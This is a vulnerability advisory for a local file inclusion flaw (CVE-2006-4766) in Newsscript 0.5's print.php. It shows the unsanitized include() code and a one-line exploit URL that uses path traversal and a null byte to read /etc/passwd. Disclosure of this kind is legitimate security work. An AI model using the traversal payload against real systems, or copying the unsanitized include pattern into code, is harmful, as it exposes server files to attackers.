Newsscript version 0.5 (print.php) Local File Inclusion Vulnerability

2006.09.19

Credit: Daftrix

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2006-4766

CWE: CWE-Other

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

# Subject:

--- "Newsscript version 0.5 (print.php) Local File Inclusion Vulnerability "

# Vulnerable version:

--- "Newsscript version 0.5"

# Vendor URL:

--- Emaill - mail (at) webmaster-journal (dot) com [email concealed]

--- Website - http://webmaster-journal.com

# Available in:

---http://www.comscripts.com/scripts/php.wm-news.203.html

# Vulnerability:

--- Vulnerable code in print/print.php

--- $ide var is not sanitized and can be used to include files from local resources

--- 1	    <html>

--- 2	    <head>

--- 3	    <?

--- 4         $file_name = "../".$ide.".txt";

--- 5	    ?>

---

---

--- 27	     include($file_name);

# Exploit:

--- http://localhost/newscript/print/print.php?ide=../../../../etc/passwd%00

# Discovered By:

--- Daftrix[at]Gmail.com

--- Daftrix Security Investigations

--- http://www.daftrix.com

Vote for this issue:

50%

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}